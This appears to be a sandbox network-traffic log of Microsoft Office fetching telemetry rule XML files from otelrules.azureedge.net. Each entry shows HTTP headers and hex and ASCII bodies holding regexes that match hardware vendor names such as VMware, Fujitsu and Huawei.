2024-11-18 03:41:16 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:15 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: a4488d51-301e-0096-053f-38e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034115Z-164f84587bfdfkt7hC1DFW4fas000000034g00000000r6zk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 03:41:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:15 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:15 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034115Z-16547b76f7fffb7lhC1DFWdsxg00000005a000000000qd3u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:16 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:16 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:16 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 5ed283f4-c01e-0082-577f-38af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034116Z-1866b5c5fbbtpjhjhC1DFWr6tw000000052g00000000nyxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:16 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:16 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034116Z-16547b76f7fhvzzthC1DFW557000000005e0000000000r09 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:16 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034116Z-16547b76f7fmcv27hC1DFWgpcg00000003y000000000q208 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:17 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:16 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034116Z-1866b5c5fbb2ngs6hC1DFW402w00000003cg00000000k2p3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:16 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:16 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 6e95107e-e01e-0099-2a9b-37da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034116Z-16547b76f7fwm7vghC1DFW900s00000002y0000000000f8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:17 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:17 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:17 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 165666ad-801e-008c-1f12-377130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034117Z-164f84587bf7k72dhC1DFWvczs000000056000000000grgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:17 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:17 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:17 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9c109920-501e-00a3-5d9b-38c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034117Z-16547b76f7fwm7vghC1DFW900s00000002s000000000n270 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:17 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:17 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:17 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:17 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0687e1b8-601e-0001-3ef1-36faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034117Z-164f84587bfm8kdnhC1DFWey4g00000005eg0000000009u3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:17 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:17 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fa408a18-501e-0064-15b8-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034117Z-16547b76f7f6892shC1DFWawd000000002ag000000001eaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:17 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
